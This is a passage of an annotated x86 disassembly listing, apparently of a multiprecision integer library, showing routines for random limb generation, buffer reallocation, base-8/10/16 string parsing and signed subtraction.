080621dd  83 ec 0c               sub     $0xc,%esp
080621e0  56                     push    %esi
080621e1  e8 1a e6 ff ff         call    08060800 <Unknown0307>
080621e6  31 c0                  xor     %eax,%eax
080621e8  e9 c9 00 00 00         jmp     080622b6 <Unknown0329+0x13e>   ;201 'xc9 x0 x0 x0' ""
080621ed  8d 76 00               lea     0x0(%esi),%esi
080621f0  83 ec 0c               sub     $0xc,%esp
080621f3  8d 5d c8               lea     0xffffffc8(%ebp),%ebx
080621f6  53                     push    %ebx
080621f7  e8 cc ef ff ff         call    080611c8 <Unknown0319>
080621fc  83 c4 0c               add     $0xc,%esp
080621ff  6a 01                  push    $0x1
08062201  56                     push    %esi
08062202  53                     push    %ebx
08062203  e8 e8 06 00 00         call    080628f0 <Unknown0341>
08062208  8d 45 b8               lea     0xffffffb8(%ebp),%eax
0806220b  89 04 24               mov     %eax,(%esp,1)
0806220e  e8 b5 ef ff ff         call    080611c8 <Unknown0319>
08062213  8d 45 a8               lea     0xffffffa8(%ebp),%eax
08062216  89 04 24               mov     %eax,(%esp,1)
08062219  e8 aa ef ff ff         call    080611c8 <Unknown0319>
0806221e  5f                     pop     %edi
0806221f  58                     pop     %eax
08062220  53                     push    %ebx
08062221  8d 5d 98               lea     0xffffff98(%ebp),%ebx
08062224  53                     push    %ebx
08062225  e8 1a f4 ff ff         call    08061644 <Unknown0321>
0806222a  59                     pop     %ecx
```

```
0806222b  5e                    pop    %esi
0806222c  6a 00                 push   $0x0
0806222e  53                    push   %ebx
0806222f  e8 54 01 00 00        call   08062388 <Unknown0332>
08062234  83 c4 0c              add    $0xc,%esp
08062237  89 c7                 mov    %eax,%edi
08062239  57                    push   %edi
0806223a  53                    push   %ebx
0806223b  53                    push   %ebx
0806223c  e8 fb 07 00 00        call   08062a3c <Unknown0342>
08062241  31 db                 xor    %ebx,%ebx
08062243  83 c4 10              add    $0x10,%esp
08062246  3b 5d 0c              cmp    0xc(%ebp),%ebx
08062249  be 01 00 00 00        mov    $0x1,%esi   ;1 'x1 x0 x0 x0' ""
0806224e  7d 2c                 jge    0806227c <Unknown0329+0x104>
08062250  83 ec 08              sub    $0x8,%esp
08062253  57                    push   %edi
08062254  8d 45 98              lea    0xffffff98(%ebp),%eax
08062257  50                    push   %eax
08062258  8d 45 a8              lea    0xffffffa8(%ebp),%eax
0806225b  50                    push   %eax
0806225c  8d 45 b8              lea    0xffffffb8(%ebp),%eax
0806225f  50                    push   %eax
08062260  8d 45 c8              lea    0xffffffc8(%ebp),%eax
08062263  50                    push   %eax
08062264  8d 45 d8              lea    0xffffffd8(%ebp),%eax
08062267  50                    push   %eax
08062268  43                    inc    %ebx
08062269  e8 46 fe ff ff        call   080620b4 <Unknown0328>
0806226e  21 c6                 and    %eax,%esi
08062270  83 c4 20              add    $0x20,%esp
08062273  3b 5d 0c              cmp    0xc(%ebp),%ebx
08062276  7d 04                 jge    0806227c <Unknown0329+0x104>
08062278  85 f6                 test   %esi,%esi
0806227a  75 d4                 jne    08062250 <Unknown0329+0xd8>
0806227c  83 ec 0c              sub    $0xc,%esp
0806227f  8d 45 c8              lea    0xffffffc8(%ebp),%eax
08062282  50                    push   %eax
08062283  e8 78 e5 ff ff        call   08060800 <Unknown0307>
08062288  8d 45 d8              lea    0xffffffd8(%ebp),%eax
0806228b  89 04 24              mov    %eax,(%esp,1)
0806228e  e8 6d e5 ff ff        call   08060800 <Unknown0307>
08062293  8d 45 b8              lea    0xffffffb8(%ebp),%eax
08062296  89 04 24              mov    %eax,(%esp,1)
08062299  e8 62 e5 ff ff        call   08060800 <Unknown0307>
0806229e  8d 45 a8              lea    0xffffffa8(%ebp),%eax
080622a1  89 04 24              mov    %eax,(%esp,1)
080622a4  e8 57 e5 ff ff        call   08060800 <Unknown0307>
080622a9  8d 45 98              lea    0xffffff98(%ebp),%eax
080622ac  89 04 24              mov    %eax,(%esp,1)
080622af  e8 4c e5 ff ff        call   08060800 <Unknown0307>
080622b4  89 f0                 mov    %esi,%eax
080622b6  8d 65 f4              lea    0xfffffff4(%ebp),%esp
080622b9  5b                    pop    %ebx
080622ba  5e                    pop    %esi
080622bb  5f                    pop    %edi
080622bc  5d                    pop    %ebp
080622bd  c3                    ret
080622be  89 f6                 mov    %esi,%esi


   ;
   ; >---------------------<  Subroutine # 330 >---------------------<
   ;
080622c0 <Unknown0330>:
080622c0  55                    push   %ebp
080622c1  89 e5                 mov    %esp,%ebp
080622c3  57                    push   %edi
080622c4  56                    push   %esi
080622c5  53                    push   %ebx
080622c6  83 ec 0c              sub    $0xc,%esp
080622c9  8b 75 0c              mov    0xc(%ebp),%esi
080622cc  85 f6                 test   %esi,%esi
080622ce  79 02                 jns    080622d2 <Unknown0330+0x12>
080622d0  f7 de                 neg    %esi
080622d2  8b 45 08              mov    0x8(%ebp),%eax
080622d5  39 30                 cmp    %esi,(%eax)
080622d7  7d 0d                 jge    080622e6 <Unknown0330+0x26>
080622d9  83 ec 08              sub    $0x8,%esp
080622dc  56                    push   %esi
080622dd  50                    push   %eax
080622de  e8 6d 00 00 00        call   08062350 <Unknown0331>
080622e3  83 c4 10              add    $0x10,%esp
080622e6  8b 45 08              mov    0x8(%ebp),%eax
```

```
080622e9   31 ff                  xor    %edi,%edi
080622eb   8b 40 08               mov    0x8(%eax),%eax
080622ee   39 f7                  cmp    %esi,%edi
080622f0   89 45 f0               mov    %eax,0xfffffff0(%ebp)
080622f3   7d 1e                  jge    08062313 <Unknown0330+0x53>
080622f5   8d 76 00               lea    0x0(%esi),%esi
080622f8   e8 cf 7b fe ff         call   08049ecc <random>
080622fd   89 c3                  mov    %eax,%ebx
080622ff   e8 c8 7b fe ff         call   08049ecc <random>
08062304   d1 e0                  shl    %eax
08062306   31 d8                  xor    %ebx,%eax
08062308   8b 55 f0               mov    0xfffffff0(%ebp),%edx
0806230b   89 04 ba               mov    %eax,(%edx,%edi,4)
0806230e   47                     inc    %edi
0806230f   39 f7                  cmp    %esi,%edi
08062311   7c e5                  jl     080622f8 <Unknown0330+0x38>
08062313   85 f6                  test   %esi,%esi
08062315   7e 1f                  jle    08062336 <Unknown0330+0x76>
08062317   8b 55 f0               mov    0xfffffff0(%ebp),%edx
0806231a   8d 04 b2               lea    (%edx,%esi,4),%eax
0806231d   8b 58 fc               mov    0xfffffffc(%eax),%ebx
08062320   85 db                  test   %ebx,%ebx
08062322   75 12                  jne    08062336 <Unknown0330+0x76>
08062324   83 e8 04               sub    $0x4,%eax
08062327   90                     nop
08062328   4e                     dec    %esi
08062329   83 e8 04               sub    $0x4,%eax
0806232c   85 f6                  test   %esi,%esi
0806232e   7e 06                  jle    08062336 <Unknown0330+0x76>
08062330   8b 08                  mov    (%eax),%ecx
08062332   85 c9                  test   %ecx,%ecx
08062334   74 f2                  je     08062328 <Unknown0330+0x68>
08062336   8b 55 0c               mov    0xc(%ebp),%edx
08062339   85 d2                  test   %edx,%edx
0806233b   89 f0                  mov    %esi,%eax
0806233d   79 02                  jns    08062341 <Unknown0330+0x81>
0806233f   f7 d8                  neg    %eax
08062341   8b 55 08               mov    0x8(%ebp),%edx
08062344   89 42 04               mov    %eax,0x4(%edx)
08062347   8d 65 f4               lea    0xfffffff4(%ebp),%esp
0806234a   5b                     pop    %ebx
0806234b   5e                     pop    %esi
0806234c   5f                     pop    %edi
0806234d   5d                     pop    %ebp
0806234e   c3                     ret
0806234f   90                     nop


   ;
   ; >--------------------<  Subroutine # 331 >--------------------<
   ;
08062350 <Unknown0331>:
08062350   55                     push   %ebp
08062351   89 e5                  mov    %esp,%ebp
08062353   56                     push   %esi
08062354   53                     push   %ebx
08062355   8b 5d 0c               mov    0xc(%ebp),%ebx
08062358   85 db                  test   %ebx,%ebx
0806235a   8b 75 08               mov    0x8(%ebp),%esi
0806235d   75 05                  jne    08062364 <Unknown0331+0x14>
0806235f   bb 01 00 00 00         mov    $0x1,%ebx   ;1 'x1 x0 x0 x0' ""
08062364   50                     push   %eax
08062365   8d 04 9d 00 00 00 00   lea    0x0(,%ebx,4),%eax   ;0 'x0 x0 x0 x0' ""
0806236c   50                     push   %eax
0806236d   8b 06                  mov    (%esi),%eax
0806236f   c1 e0 02               shl    $0x2,%eax
08062372   50                     push   %eax
08062373   ff 76 08               pushl  0x8(%esi)
08062376   ff 15 2c 93 07 08      call   *0x807932c   ;[in .data] 134623144 'xa8 x2f x6 x8' ""
0806237c   89 46 08               mov    %eax,0x8(%esi)
0806237f   89 1e                  mov    %ebx,(%esi)
08062381   8d 65 f8               lea    0xfffffff8(%ebp),%esp
08062384   5b                     pop    %ebx
08062385   5e                     pop    %esi
08062386   5d                     pop    %ebp
08062387   c3                     ret


   ;
   ; >--------------------<  Subroutine # 332 >--------------------<
   ;
08062388 <Unknown0332>:
08062388   55                     push   %ebp
08062389   89 e5                  mov    %esp,%ebp
```

```
0806238b  83 ec 08              sub     $0x8,%esp
0806238e  8b 45 08              mov     0x8(%ebp),%eax
08062391  8b 40 08              mov     0x8(%eax),%eax
08062394  89 45 08              mov     %eax,0x8(%ebp)
08062397  c9                    leave
08062398  e9 bb 28 00 00        jmp     08064c58 <Unknown0371>  ;10427 'xbb x28 x0 x0' ""
0806239d  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 333 >--------------------<
  ;
080623a0 <Unknown0333>:
080623a0  55                    push    %ebp
080623a1  89 e5                 mov     %esp,%ebp
080623a3  57                    push    %edi
080623a4  56                    push    %esi
080623a5  53                    push    %ebx
080623a6  83 ec 0c              sub     $0xc,%esp
080623a9  8b 45 0c              mov     0xc(%ebp),%eax
080623ac  8b 70 04              mov     0x4(%eax),%esi
080623af  85 f6                 test    %esi,%esi
080623b1  89 f3                 mov     %esi,%ebx
080623b3  79 02                 jns     080623b7 <Unknown0333+0x17>
080623b5  f7 db                 neg     %ebx
080623b7  8b 45 08              mov     0x8(%ebp),%eax
080623ba  39 18                 cmp     %ebx,(%eax)
080623bc  7d 0d                 jge     080623cb <Unknown0333+0x2b>
080623be  83 ec 08              sub     $0x8,%esp
080623c1  53                    push    %ebx
080623c2  50                    push    %eax
080623c3  e8 88 ff ff ff        call    08062350 <Unknown0331>
080623c8  83 c4 10              add     $0x10,%esp
080623cb  8b 45 08              mov     0x8(%ebp),%eax
080623ce  8b 78 08              mov     0x8(%eax),%edi
080623d1  8b 45 0c              mov     0xc(%ebp),%eax
080623d4  8b 48 08              mov     0x8(%eax),%ecx
080623d7  31 d2                 xor     %edx,%edx
080623d9  39 da                 cmp     %ebx,%edx
080623db  7d 0e                 jge     080623eb <Unknown0333+0x4b>
080623dd  8d 76 00              lea     0x0(%esi),%esi
080623e0  8b 04 91              mov     (%ecx,%edx,4),%eax
080623e3  89 04 97              mov     %eax,(%edi,%edx,4)
080623e6  42                    inc     %edx
080623e7  39 da                 cmp     %ebx,%edx
080623e9  7c f5                 jl      080623e0 <Unknown0333+0x40>
080623eb  8b 45 08              mov     0x8(%ebp),%eax
080623ee  89 70 04              mov     %esi,0x4(%eax)
080623f1  8d 65 f4              lea     0xfffffff4(%ebp),%esp
080623f4  5b                    pop     %ebx
080623f5  5e                    pop     %esi
080623f6  5f                    pop     %edi
080623f7  5d                    pop     %ebp
080623f8  c3                    ret
080623f9  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 334 >--------------------<
  ;
080623fc <Unknown0334>:
080623fc  55                    push    %ebp
080623fd  89 e5                 mov     %esp,%ebp
080623ff  8b 55 08              mov     0x8(%ebp),%edx
08062402  a1 10 9c 07 08        mov     0x8079c10,%eax  ;[in .bss] 808464928 'x20 x32 x30 x30' " 20000731
                                                           (Red Hat Linux 7.1 2.96-79)"
08062407  66 8b 04 50           mov     (%eax,%edx,2),%ax
0806240b  a9 00 08 00 00        test    $0x800,%eax  ;2048 'x0 x8 x0 x0' ""
08062410  74 06                 je      08062418 <Unknown0334+0x1c>
08062412  83 ea 30              sub     $0x30,%edx
08062415  eb 21                 jmp     08062438 <Unknown0334+0x3c>
08062417  90                    nop
08062418  a9 00 02 00 00        test    $0x200,%eax  ;512 'x0 x2 x0 x0' ""
0806241d  74 05                 je      08062424 <Unknown0334+0x28>
0806241f  83 ea 57              sub     $0x57,%edx
08062422  eb 14                 jmp     08062438 <Unknown0334+0x3c>
08062424  a9 00 01 00 00        test    $0x100,%eax  ;256 'x0 x1 x0 x0' ""
08062429  74 05                 je      08062430 <Unknown0334+0x34>
0806242b  83 ea 37              sub     $0x37,%edx
0806242e  eb 08                 jmp     08062438 <Unknown0334+0x3c>
08062430  b8 ff ff ff ff        mov     $0xffffffff,%eax  ;-1 'xff xff xff xff' ""
08062435  eb 0e                 jmp     08062445 <Unknown0334+0x49>
08062437  90                    nop
08062438  31 c0                 xor     %eax,%eax
```

```
0806243a  3b 55 0c              cmp     0xc(%ebp),%edx
0806243d  0f 9c c0              setl    %al
08062440  48                    dec     %eax
08062441  09 c2                 or      %eax,%edx
08062443  89 d0                 mov     %edx,%eax
08062445  5d                    pop     %ebp
08062446  c3                    ret
08062447  90                    nop


  ;
  ; >--------------------<  Subroutine # 335 >--------------------<
  ;
08062448 <Unknown0335>:
08062448  55                    push    %ebp
08062449  89 e5                 mov     %esp,%ebp
0806244b  57                    push    %edi
0806244c  56                    push    %esi
0806244d  53                    push    %ebx
0806244e  83 ec 1c              sub     $0x1c,%esp
08062451  a1 10 9c 07 08        mov     0x8079c10,%eax   ;[in .bss] 808464928 'x20 x32 x30 x30' " 20000731
                                                           (Red Hat Linux 7.1 2.96-79)"
08062456  8b 75 0c              mov     0xc(%ebp),%esi
08062459  8d 76 00              lea     0x0(%esi),%esi
0806245c  0f be 1e              movsbl  (%esi),%ebx
0806245f  46                    inc     %esi
08062460  f6 44 58 01 20        testb   $0x20,0x1(%eax,%ebx,2)
08062465  75 f5                 jne     0806245c <Unknown0335+0x14>
08062467  83 fb 2d              cmp     $0x2d,%ebx
0806246a  c7 45 e4 00 00 00 00  movl    $0x0,0xffffffe4(%ebp)   ;0 'x0 x0 x0 x0' ""
08062471  75 0b                 jne     0806247e <Unknown0335+0x36>
08062473  c7 45 e4 01 00 00 00  movl    $0x1,0xffffffe4(%ebp)   ;1 'x1 x0 x0 x0' ""
0806247a  0f be 1e              movsbl  (%esi),%ebx
0806247d  46                    inc     %esi
0806247e  8b 45 10              mov     0x10(%ebp),%eax
08062481  83 ec 08              sub     $0x8,%esp
08062484  85 c0                 test    %eax,%eax
08062486  75 05                 jne     0806248d <Unknown0335+0x45>
08062488  b8 0a 00 00 00        mov     $0xa,%eax   ;10 'xa x0 x0 x0' ""
0806248d  50                    push    %eax
0806248e  53                    push    %ebx
0806248f  e8 68 ff ff ff        call    080623fc <Unknown0334>
08062494  83 c4 10              add     $0x10,%esp
08062497  85 c0                 test    %eax,%eax
08062499  79 0d                 jns     080624a8 <Unknown0335+0x60>
0806249b  b8 ff ff ff ff        mov     $0xffffffff,%eax   ;-1 'xff xff xff xff' ""
080624a0  e9 f3 00 00 00        jmp     08062598 <Unknown0336+0x9e>   ;243 'xf3 x0 x0 x0' ""
080624a5  8d 76 00              lea     0x0(%esi),%esi
080624a8  8b 4d 10              mov     0x10(%ebp),%ecx
080624ab  85 c9                 test    %ecx,%ecx
080624ad  75 2c                 jne     080624db <Unknown0335+0x93>
080624af  83 fb 30              cmp     $0x30,%ebx
080624b2  c7 45 10 0a 00 00 00  movl    $0xa,0x10(%ebp)   ;10 'xa x0 x0 x0' ""
080624b9  75 20                 jne     080624db <Unknown0335+0x93>
080624bb  c7 45 10 08 00 00 00  movl    $0x8,0x10(%ebp)   ;8 'x8 x0 x0 x0' ""
080624c2  0f be 1e              movsbl  (%esi),%ebx
080624c5  46                    inc     %esi
080624c6  83 fb 78              cmp     $0x78,%ebx
080624c9  74 05                 je      080624d0 <Unknown0335+0x88>
080624cb  83 fb 58              cmp     $0x58,%ebx
080624ce  75 0b                 jne     080624db <Unknown0335+0x93>
080624d0  c7 45 10 10 00 00 00  movl    $0x10,0x10(%ebp)   ;16 'x10 x0 x0 x0' ""
080624d7  0f be 1e              movsbl  (%esi),%ebx
080624da  46                    inc     %esi
080624db  8d 7e ff              lea     0xffffffff(%esi),%edi
080624de  31 c0                 xor     %eax,%eax
080624e0  fc                    cld
080624e1  b9 ff ff ff ff        mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
080624e6  f2 ae                 repnz scas %es:(%edi),%al
080624e8  f7 d1                 not     %ecx
080624ea  8d 51 ff              lea     0xffffffff(%ecx),%edx
080624ed  83 c1 0f              add     $0xf,%ecx
080624f0  83 e1 f0              and     $0xfffffff0,%ecx
080624f3  c7 45 e8 00 00 00 00  movl    $0x0,0xffffffe8(%ebp)


  ;
  ; >--------------------<  Subroutine # 336 >--------------------<
  ;
080624fa <Unknown0336>:
080624fa  29 cc                 sub     %ecx,%esp
080624fc  39 55 e8              cmp     %edx,0xffffffe8(%ebp)
080624ff  89 55 f0              mov     %edx,0xfffffff0(%ebp)
08062502  89 65 ec              mov     %esp,0xffffffec(%ebp)
```

```
08062505  89 e7                 mov     %esp,%edi
08062507  73 38                 jae     08062541 <Unknown0336+0x47>
08062509  8d 76 00              lea     0x0(%esi),%esi
0806250c  a1 10 9c 07 08        mov     0x8079c10,%eax    ;[in .bss] 808464928 'x20 x32 x30 x30' " 20000731
                                                                      (Red Hat Linux 7.1 2.96-79)"
08062511  f6 44 58 01 20        testb   $0x20,0x1(%eax,%ebx,2)
08062516  75 1a                 jne     08062532 <Unknown0336+0x38>
08062518  83 ec 08              sub     $0x8,%esp
0806251b  ff 75 10              pushl   0x10(%ebp)
0806251e  53                    push    %ebx
0806251f  e8 d8 fe ff ff        call    080623fc <Unknown0334>
08062524  83 c4 10              add     $0x10,%esp
08062527  85 c0                 test    %eax,%eax
08062529  0f 88 6c ff ff ff     js      0806249b <Unknown0335+0x53>   ;-148 'x6c xff xff xff' "l"
0806252f  88 07                 mov     %al,(%edi)
08062531  47                    inc     %edi
08062532  0f be 1e              movsbl  (%esi),%ebx
08062535  8b 45 f0              mov     0xfffffff0(%ebp),%eax
08062538  ff 45 e8              incl    0xffffffe8(%ebp)
0806253b  46                    inc     %esi
0806253c  39 45 e8              cmp     %eax,0xffffffe8(%ebp)
0806253f  72 cb                 jb      0806250c <Unknown0336+0x12>
08062541  2b 7d ec              sub     0xffffffec(%ebp),%edi
08062544  8b 4d 10              mov     0x10(%ebp),%ecx
08062547  c1 e1 04              shl     $0x4,%ecx
0806254a  31 d2                 xor     %edx,%edx
0806254c  89 f8                 mov     %edi,%eax
0806254e  f7 b1 e0 57 07 08     divl    0x80757e0(%ecx)   ;[in .rodata] 0 'x0 x0 x0 x0' ""
08062554  89 c1                 mov     %eax,%ecx
08062556  89 7d f0              mov     %edi,0xfffffff0(%ebp)
08062559  8d 41 01              lea     0x1(%ecx),%eax
0806255c  8b 55 08              mov     0x8(%ebp),%edx
0806255f  39 02                 cmp     %eax,(%edx)
08062561  7d 0d                 jge     08062570 <Unknown0336+0x76>
08062563  83 ec 08              sub     $0x8,%esp
08062566  50                    push    %eax
08062567  52                    push    %edx
08062568  e8 e3 fd ff ff        call    08062350 <Unknown0331>
0806256d  83 c4 10              add     $0x10,%esp
08062570  ff 75 10              pushl   0x10(%ebp)
08062573  ff 75 f0              pushl   0xfffffff0(%ebp)
08062576  ff 75 ec              pushl   0xffffffec(%ebp)
08062579  8b 45 08              mov     0x8(%ebp),%eax
0806257c  ff 70 08              pushl   0x8(%eax)
0806257f  e8 1c 27 00 00        call    08064ca0 <Unknown0372>
08062584  8b 55 e4              mov     0xffffffe4(%ebp),%edx
08062587  83 c4 10              add     $0x10,%esp
0806258a  85 d2                 test    %edx,%edx
0806258c  74 02                 je      08062590 <Unknown0336+0x96>
0806258e  f7 d8                 neg     %eax
08062590  8b 55 08              mov     0x8(%ebp),%edx
08062593  89 42 04              mov     %eax,0x4(%edx)
08062596  31 c0                 xor     %eax,%eax
08062598  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0806259b  5b                    pop     %ebx
0806259c  5e                    pop     %esi
0806259d  5f                    pop     %edi
0806259e  5d                    pop     %ebp
0806259f  c3                    ret


   ;
   ; >---------------------<  Subroutine # 337 >---------------------<
   ;
080625a0 <Unknown0337>:
080625a0  55                    push    %ebp
080625a1  89 e5                 mov     %esp,%ebp
080625a3  8b 4d 0c              mov     0xc(%ebp),%ecx
080625a6  85 c9                 test    %ecx,%ecx
080625a8  8b 55 08              mov     0x8(%ebp),%edx
080625ab  74 0f                 je      080625bc <Unknown0337+0x1c>
080625ad  8b 42 08              mov     0x8(%edx),%eax
080625b0  89 08                 mov     %ecx,(%eax)
080625b2  c7 42 04 01 00 00 00  movl    $0x1,0x4(%edx)    ;1 'x1 x0 x0 x0' ""
080625b9  eb 08                 jmp     080625c3 <Unknown0337+0x23>
080625bb  90                    nop
080625bc  c7 42 04 00 00 00 00  movl    $0x0,0x4(%edx)    ;0 'x0 x0 x0 x0' ""
080625c3  5d                    pop     %ebp
080625c4  c3                    ret
080625c5  8d 76 00              lea     0x0(%esi),%esi


   ;
   ; >---------------------<  Subroutine # 338 >---------------------<
```

```
 ;
080625c8 <Unknown0338>:
080625c8  55                   push    %ebp
080625c9  89 e5                mov     %esp,%ebp
080625cb  53                   push    %ebx
080625cc  83 ec 14             sub     $0x14,%esp
080625cf  8b 45 08             mov     0x8(%ebp),%eax
080625d2  8b 50 04             mov     0x4(%eax),%edx
080625d5  85 d2                test    %edx,%edx
080625d7  8b 4d 0c             mov     0xc(%ebp),%ecx
080625da  79 02                jns     080625de <Unknown0338+0x16>
080625dc  f7 da                neg     %edx
080625de  85 d2                test    %edx,%edx
080625e0  75 0a                jne     080625ec <Unknown0338+0x24>
080625e2  b8 01 00 00 00       mov     $0x1,%eax     ;1 'x1 x0 x0 x0' ""
080625e7  eb 65                jmp     0806264e <Unknown0338+0x86>
080625e9  8d 76 00             lea     0x0(%esi),%esi
080625ec  8b 40 08             mov     0x8(%eax),%eax
080625ef  0f bd 44 90 fc       bsr     0xfffffffc(%eax,%edx,4),%eax
080625f4  83 f0 1f             xor     $0x1f,%eax
080625f7  89 d3                mov     %edx,%ebx
080625f9  c1 e3 05             shl     $0x5,%ebx
080625fc  29 c3                sub     %eax,%ebx
080625fe  8d 41 ff             lea     0xffffffff(%ecx),%eax
08062601  85 c8                test    %ecx,%eax
08062603  75 1b                jne     08062620 <Unknown0338+0x58>
08062605  0f bd d1             bsr     %ecx,%edx
08062608  83 f2 1f             xor     $0x1f,%edx
0806260b  b8 1f 00 00 00       mov     $0x1f,%eax    ;31 'x1f x0 x0 x0' ""
08062610  29 d0                sub     %edx,%eax
08062612  89 c2                mov     %eax,%edx
08062614  8d 44 1a ff          lea     0xffffffff(%edx,%ebx,1),%eax
08062618  89 d1                mov     %edx,%ecx
0806261a  31 d2                xor     %edx,%edx
0806261c  f7 f1                div     %ecx
0806261e  eb 2e                jmp     0806264e <Unknown0338+0x86>
08062620  31 d2                xor     %edx,%edx
08062622  52                   push    %edx
08062623  89 d8                mov     %ebx,%eax
08062625  50                   push    %eax
08062626  df 2c 24             fildll  (%esp,1)
08062629  c1 e1 04             shl     $0x4,%ecx
0806262c  d8 89 e4 57 07 08    fmuls   0x80757e4(%ecx)   ;[in .rodata] 0 'x0 x0 x0 x0' ""
08062632  d9 7d f4             fnstcw  0xfffffff4(%ebp)
08062635  8b 4d f4             mov     0xfffffff4(%ebp),%ecx
08062638  c6 45 f5 0c          movb    $0xc,0xfffffff5(%ebp)
0806263c  d9 6d f4             fldcw   0xfffffff4(%ebp)
0806263f  89 4d f4             mov     %ecx,0xfffffff4(%ebp)
08062642  df 7d e8             fistpll 0xffffffe8(%ebp)
08062645  d9 6d f4             fldcw   0xfffffff4(%ebp)
08062648  58                   pop     %eax
08062649  8b 45 e8             mov     0xffffffe8(%ebp),%eax
0806264c  5a                   pop     %edx
0806264d  40                   inc     %eax
0806264e  8b 5d fc             mov     0xfffffffc(%ebp),%ebx
08062651  c9                   leave
08062652  c3                   ret
08062653  90                   nop


 ;
 ; >---------------------< Subroutine # 339 >---------------------<
 ;
08062654 <Unknown0339>:
08062654  55                   push    %ebp
08062655  89 e5                mov     %esp,%ebp
08062657  8b 45 08             mov     0x8(%ebp),%eax
0806265a  8b 40 04             mov     0x4(%eax),%eax
0806265d  85 c0                test    %eax,%eax
0806265f  79 02                jns     08062663 <Unknown0339+0xf>
08062661  f7 d8                neg     %eax
08062663  5d                   pop     %ebp
08062664  c3                   ret
08062665  8d 76 00             lea     0x0(%esi),%esi


 ;
 ; >---------------------< Subroutine # 340 >---------------------<
 ;
08062668 <Unknown0340>:
08062668  55                   push    %ebp
08062669  89 e5                mov     %esp,%ebp
0806266b  57                   push    %edi
0806266c  56                   push    %esi
```

```
0806266d  53                      push    %ebx
0806266e  83 ec 6c                sub     $0x6c,%esp
08062671  8b 5d 0c                mov     0xc(%ebp),%ebx
08062674  8b 43 04                mov     0x4(%ebx),%eax
08062677  89 45 a0                mov     %eax,0xffffffa0(%ebp)
0806267a  8b 75 10                mov     0x10(%ebp),%esi
0806267d  8b 46 04                mov     0x4(%esi),%eax
08062680  8b 55 a0                mov     0xffffffa0(%ebp),%edx
08062683  89 45 9c                mov     %eax,0xffffff9c(%ebp)
08062686  f7 5d 9c                negl    0xffffff9c(%ebp)
08062689  85 d2                   test    %edx,%edx
0806268b  89 55 98                mov     %edx,0xffffff98(%ebp)
0806268e  79 03                   jns     08062693 <Unknown0340+0x2b>
08062690  f7 5d 98                negl    0xffffff98(%ebp)
08062693  8b 7d 9c                mov     0xffffff9c(%ebp),%edi
08062696  85 ff                   test    %edi,%edi
08062698  79 02                   jns     0806269c <Unknown0340+0x34>
0806269a  89 c7                   mov     %eax,%edi
0806269c  39 7d 98                cmp     %edi,0xffffff98(%ebp)
0806269f  7d 1a                   jge     080626bb <Unknown0340+0x53>
080626a1  89 d8                   mov     %ebx,%eax
080626a3  89 f3                   mov     %esi,%ebx
080626a5  89 c6                   mov     %eax,%esi
080626a7  8b 45 a0                mov     0xffffffa0(%ebp),%eax
080626aa  8b 4d 9c                mov     0xffffff9c(%ebp),%ecx
080626ad  89 45 9c                mov     %eax,0xffffff9c(%ebp)
080626b0  8b 45 98                mov     0xffffff98(%ebp),%eax
080626b3  89 4d a0                mov     %ecx,0xffffffa0(%ebp)
080626b6  89 7d 98                mov     %edi,0xffffff98(%ebp)
080626b9  89 c7                   mov     %eax,%edi
080626bb  8b 45 98                mov     0xffffff98(%ebp),%eax
080626be  40                      inc     %eax
080626bf  8b 55 08                mov     0x8(%ebp),%edx
080626c2  39 02                   cmp     %eax,(%edx)
080626c4  7d 0d                   jge     080626d3 <Unknown0340+0x6b>
080626c6  83 ec 08                sub     $0x8,%esp
080626c9  50                      push    %eax
080626ca  52                      push    %edx
080626cb  e8 80 fc ff ff          call    08062350 <Unknown0331>
080626d0  83 c4 10                add     $0x10,%esp
080626d3  8b 45 08                mov     0x8(%ebp),%eax
080626d6  8b 55 a0                mov     0xffffffa0(%ebp),%edx
080626d9  8b 40 08                mov     0x8(%eax),%eax
080626dc  33 55 9c                xor     0xffffff9c(%ebp),%edx
080626df  8b 5b 08                mov     0x8(%ebx),%ebx
080626e2  8b 76 08                mov     0x8(%esi),%esi
080626e5  89 45 a4                mov     %eax,0xffffffa4(%ebp)
080626e8  0f 89 52 01 00 00       jns     08062840 <Unknown0340+0x1d8>  ;338 'x52 x1 x0 x0' "R"
080626ee  39 7d 98                cmp     %edi,0xffffff98(%ebp)
080626f1  0f 84 ad 00 00 00       je      080627a4 <Unknown0340+0x13c>  ;173 'xad x0 x0 x0' ""
080626f7  85 ff                   test    %edi,%edi
080626f9  c7 45 94 00 00 00 00    movl    $0x0,0xffffff94(%ebp)   ;0 'x0 x0 x0 x0' ""
08062700  74 0f                   je      08062711 <Unknown0340+0xa9>
08062702  57                      push    %edi
08062703  56                      push    %esi
08062704  53                      push    %ebx
08062705  50                      push    %eax
08062706  e8 0d 29 00 00          call    08065018 <Unknown0375>
0806270b  89 45 94                mov     %eax,0xffffff94(%ebp)
0806270e  83 c4 10                add     $0x10,%esp
08062711  8d 04 bd 00 00 00 00    lea     0x0(,%edi,4),%eax   ;0 'x0 x0 x0 x0' ""
08062718  8d 1c 03                lea     (%ebx,%eax,1),%ebx
0806271b  8b 13                   mov     (%ebx),%edx
0806271d  8b 4d a4                mov     0xffffffa4(%ebp),%ecx
08062720  8d 34 01                lea     (%ecx,%eax,1),%esi
08062723  89 d0                   mov     %edx,%eax
08062725  8b 4d 98                mov     0xffffff98(%ebp),%ecx
08062728  2b 45 94                sub     0xffffff94(%ebp),%eax
0806272b  29 f9                   sub     %edi,%ecx
0806272d  83 c3 04                add     $0x4,%ebx
08062730  89 06                   mov     %eax,(%esi)
08062732  83 c6 04                add     $0x4,%esi
08062735  39 d0                   cmp     %edx,%eax
08062737  76 1b                   jbe     08062754 <Unknown0340+0xec>
08062739  49                      dec     %ecx
0806273a  74 2f                   je      0806276b <Unknown0340+0x103>
0806273c  8b 13                   mov     (%ebx),%edx
0806273e  8d 42 ff                lea     0xffffffff(%edx),%eax
08062741  83 c3 04                add     $0x4,%ebx
08062744  89 06                   mov     %eax,(%esi)
08062746  83 c6 04                add     $0x4,%esi
08062749  85 d2                   test    %edx,%edx
0806274b  75 07                   jne     08062754 <Unknown0340+0xec>
0806274d  49                      dec     %ecx
```

```
0806274e  75 ec                jne      0806273c <Unknown0340+0xd4>
08062750  eb 19                jmp      0806276b <Unknown0340+0x103>
08062752  89 f6                mov      %esi,%esi
08062754  39 de                cmp      %ebx,%esi
08062756  74 13                je       0806276b <Unknown0340+0x103>
08062758  31 d2                xor      %edx,%edx
